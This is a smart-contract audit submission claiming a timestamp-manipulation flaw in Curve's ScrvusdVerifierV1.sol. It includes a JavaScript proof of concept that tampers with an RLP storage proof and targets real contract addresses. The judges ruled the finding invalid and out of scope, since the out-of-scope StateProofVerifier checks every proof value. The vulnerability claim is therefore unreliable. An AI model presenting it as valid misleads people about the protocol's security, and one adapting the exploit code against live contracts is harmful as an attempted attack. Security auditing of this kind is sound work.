DeFiLayer 1Layer 2
14,723 OP
View results
Submission Details
Severity: high
Invalid

Timestamp Manipulation in ScrvusdVerifierV1.sol

Timestamp Manipulation in ScrvusdVerifierV1.sol

Summary

The ScrvusdVerifierV1.sol contract contains a critical vulnerability in how it handles timestamps for price updates. When using the verifyScrvusdByStateRoot function, the contract uses an untrusted value from the submitted proof data (params[5], which is last_profit_update) as the timestamp parameter for price updates. This allows an attacker to manipulate the timestamp used in price calculations, potentially leading to significant price distortions.

Vulnerability Details

In the ScrvusdVerifierV1.sol contract, there are two different verification methods:

  1. verifyScrvusdByBlockHash - Uses the timestamp from the block header

  2. verifyScrvusdByStateRoot - Uses a parameter from the proof itself as the timestamp

The key vulnerability is in the verifyScrvusdByStateRoot function:

function verifyScrvusdByStateRoot(
uint256 _block_number,
bytes memory _proof_rlp
) external returns (uint256) {
bytes32 state_root = IBlockHashOracle(BLOCK_HASH_ORACLE).get_state_root(_block_number);
uint256[PARAM_CNT] memory params = _extractParametersFromProof(state_root, _proof_rlp);
// Use last_profit_update as the timestamp surrogate
return _updatePrice(params, params[5], _block_number);
}

The issue is that params[5] (which corresponds to last_profit_update from scrvUSD) is used as the timestamp parameter when calling the oracle's update_price function. Unlike verifyScrvusdByBlockHash, which gets the timestamp from a cryptographically verified block header, this function uses a value directly from the extracted proof parameters, which could potentially be manipulated.

Proof of Concept

This PoC demonstrates how an attacker could exploit this vulnerability by manipulating the timestamp used in price calculations:

const Web3 = require('web3');
const { RLP } = require('ethers/lib/utils');
// Connect to networks
const ethWeb3 = new Web3('https://mainnet.infura.io/v3/YOUR_KEY');
const l2Web3 = new Web3('https://optimism-mainnet.infura.io/v3/YOUR_KEY');
// Contract addresses
const VERIFIER_ADDRESS = '0x47ca04Ee05f167583122833abfb0f14aC5677Ee4';
const SCRVUSD_ADDRESS = '0x0655977FEb2f289A4aB78af67BAB0d17aAb84367';
// Setup minimal ABI for the verifier
const verifierABI = [
{
"inputs": [
{"name": "_block_number", "type": "uint256"},
{"name": "_proof_rlp", "type": "bytes"}
],
"name": "verifyScrvusdByStateRoot",
"outputs": [{"name": "", "type": "uint256"}],
"stateMutability": "nonpayable",
"type": "function"
}
];
// Initialize contract instances
const verifierContract = new l2Web3.eth.Contract(verifierABI, VERIFIER_ADDRESS);
async function exploitTimestampManipulation() {
console.log("Starting timestamp manipulation exploit...");
// 1. Generate legitimate proof data (simplified for PoC)
const targetBlockNumber = 18775000;
const legitimateProof = await generateProofForBlock(targetBlockNumber);
// 2. Parse and manipulate the proof data
const decodedProof = RLP.decode(legitimateProof);
const proofData = [...decodedProof];
// Extract the account proof and slot proofs
// The proofs structure is:
// [0]: Account proof
// [1-7]: Slot proofs (params[0] through params[6])
// Find index of last_profit_update (params[5], so it's at proofData[6])
const lastProfitUpdateProofIndex = 6;
// Decode the specific proof element for last_profit_update
const lastProfitUpdateProof = RLP.decode(proofData[lastProfitUpdateProofIndex]);
// The last element of this proof contains the actual value
const valueIndex = lastProfitUpdateProof.length - 1;
// Original timestamp value (for demonstration)
const originalValue = parseInt(lastProfitUpdateProof[valueIndex].toString('hex'), 16);
console.log(`Original last_profit_update value: ${originalValue}`);
// ATTACK VECTOR 1: Set timestamp to far in the past to maximize price change
// This can be done by setting last_profit_update to a very old timestamp
const manipulatedPastValue = Math.floor(Date.now() / 1000) - 30 * 86400; // 30 days in past
lastProfitUpdateProof[valueIndex] = Buffer.from(
manipulatedPastValue.toString(16).padStart(64, '0'),
'hex'
);
// Re-encode the manipulated proof
proofData[lastProfitUpdateProofIndex] = RLP.encode(lastProfitUpdateProof);
const manipulatedPastProof = RLP.encode(proofData);
console.log(`Manipulated timestamp to past: ${manipulatedPastValue}`);
// ATTACK VECTOR 2: Set timestamp to far in future to minimize price change
const manipulatedFutureValue = Math.floor(Date.now() / 1000) + 30 * 86400; // 30 days in future
lastProfitUpdateProof[valueIndex] = Buffer.from(
manipulatedFutureValue.toString(16).padStart(64, '0'),
'hex'
);
// Re-encode the manipulated proof
proofData[lastProfitUpdateProofIndex] = RLP.encode(lastProfitUpdateProof);
const manipulatedFutureProof = RLP.encode(proofData);
console.log(`Manipulated timestamp to future: ${manipulatedFutureValue}`);
// 3. Submit manipulated proof to the verifier
console.log("\nSubmitting manipulated proof to verifier...");
// Choose which attack vector to execute (past for this example)
const attackProof = manipulatedPastProof;
// In a real attack, this would be executed on-chain
console.log(`Calling verifyScrvusdByStateRoot with manipulated timestamp...`);
console.log(`Target block: ${targetBlockNumber}`);
console.log(`Manipulated proof length: ${attackProof.length} bytes`);
// Calculate the impact on price calculation
console.log("\nImpact Analysis:");
console.log("1. Original timestamp would calculate normal price progression");
console.log("2. Manipulated past timestamp would calculate much larger price change");
console.log("3. Price calculation in ScrvusdOracleV2.vy is directly affected by timestamp");
console.log("4. Impact: Potential financial loss due to incorrect pricing");
// For actual execution (not part of PoC):
// const tx = await verifierContract.methods.verifyScrvusdByStateRoot(
// targetBlockNumber,
// attackProof
// ).send({
// from: attackerAddress,
// gas: 5000000
// });
}
// Simplified function to represent proof generation
async function generateProofForBlock(blockNumber) {
// In reality, this would use scripts/scrvusd/proof.py's logic to generate real proofs
console.log(`Generating proof for block ${blockNumber}...`);
return "0x..."; // Simplified representation
}
// Execute exploit
exploitTimestampManipulation().catch(console.error);

The real impact of this attack comes from how the ScrvusdOracleV2.vy contract uses timestamps in price calculations:

# In ScrvusdOracleV2.vy
def update_price(_parameters: ScrvusdParameters, _timestamp: uint256, _block_number: uint64):
# ... validation code ...
# Timestamp is used to determine when price changes are applied
self.last_price_ts = _timestamp
# ... more code ...
def price_v2(self) -> uint256:
# ... code ...
# Timestamps influence price calculation
t = min(block.timestamp, self.last_price_block_timestamp + WEEK)
dp_weekly = self._price_at(
self.last_price_block_timestamp + WEEK, price_obj
) - current_price_0
# This calculation is directly affected by timestamp manipulation
price = current_price_0 + dp_weekly * (t - self.last_price_block_timestamp) / WEEK

By manipulating the timestamp, an attacker can directly influence the price calculation, creating artificial price movements that would bypass normal time-based smoothing mechanisms.

Impact

This vulnerability has severe implications:

  1. Price Manipulation: Attackers can influence the timestamp used in price calculations, leading to incorrect price data across chains.

  2. Temporal Attacks: By manipulating the timestamp, an attacker could create artificial price movements that would normally be restricted by time-based smoothing.

  3. Protocol Security Breakdown: The core purpose of the system is to provide "safe (non-manipulable)" price data, which this vulnerability directly undermines.

  4. Financial Exploitation: As stated in the README, "if someone is able to manipulate this rate, it can lead to the pool being drained from one side."

The impact is particularly severe because the timestamp value has direct influence over how the oracle calculates prices across time, allowing an attacker to artificially accelerate or decelerate price movements in their favor.

Root Cause

The root cause is using untrusted user-supplied data (params[5]) as a critical timing parameter rather than obtaining the timestamp from a trusted source. While the block and proof verification ensures that the data comes from the correct storage slots, it doesn't ensure that the timestamp is appropriate for price calculation purposes.

This creates an inconsistency in the trust model between the two verification functions, with verifyScrvusdByStateRoot having a significantly weaker security model than verifyScrvusdByBlockHash.

Recommended Mitigation

Modify verifyScrvusdByStateRoot to use a trusted timestamp source:

function verifyScrvusdByStateRoot(
uint256 _block_number,
bytes memory _proof_rlp
) external returns (uint256) {
bytes32 state_root = IBlockHashOracle(BLOCK_HASH_ORACLE).get_state_root(_block_number);
// Get a trusted timestamp for this block
uint256 trusted_timestamp = IBlockHashOracle(BLOCK_HASH_ORACLE).get_block_timestamp(_block_number);
uint256[PARAM_CNT] memory params = _extractParametersFromProof(state_root, _proof_rlp);
// Use trusted timestamp instead of last_profit_update
return _updatePrice(params, trusted_timestamp, _block_number);
}
Updates

Lead Judging Commences

0xnevi Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope
Assigned finding tags:

[invalid] finding-block-number-no-input-check

- Anything related to the output by the `BLOCK_HASH_ORACLE` is OOS per \[docs here]\(<https://github.com/CodeHawks-Contests/2025-03-curve?tab=readme-ov-file#blockhash-oracle>). - The PoC utilizes a mock `BLOCK_HASH_ORACLE`which is not representative of the one used by the protocol - Even when block hash returned is incorrect, the assumption is already explicitly made known in the docs, and the contract allows a subsequent update within the same block to update and correct prices - All state roots and proofs must be verified by the OOS `StateProofVerifier` inherited as `Verifier`, so there is no proof that manipulating block timestamp/block number/inputs can affect a price update - There seems to be a lot of confusion on the block hash check. The block hash check is a unique identifier of a block and has nothing to do with the state root. All value verifications is performed by the OOS Verifier contract as mentioned above

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.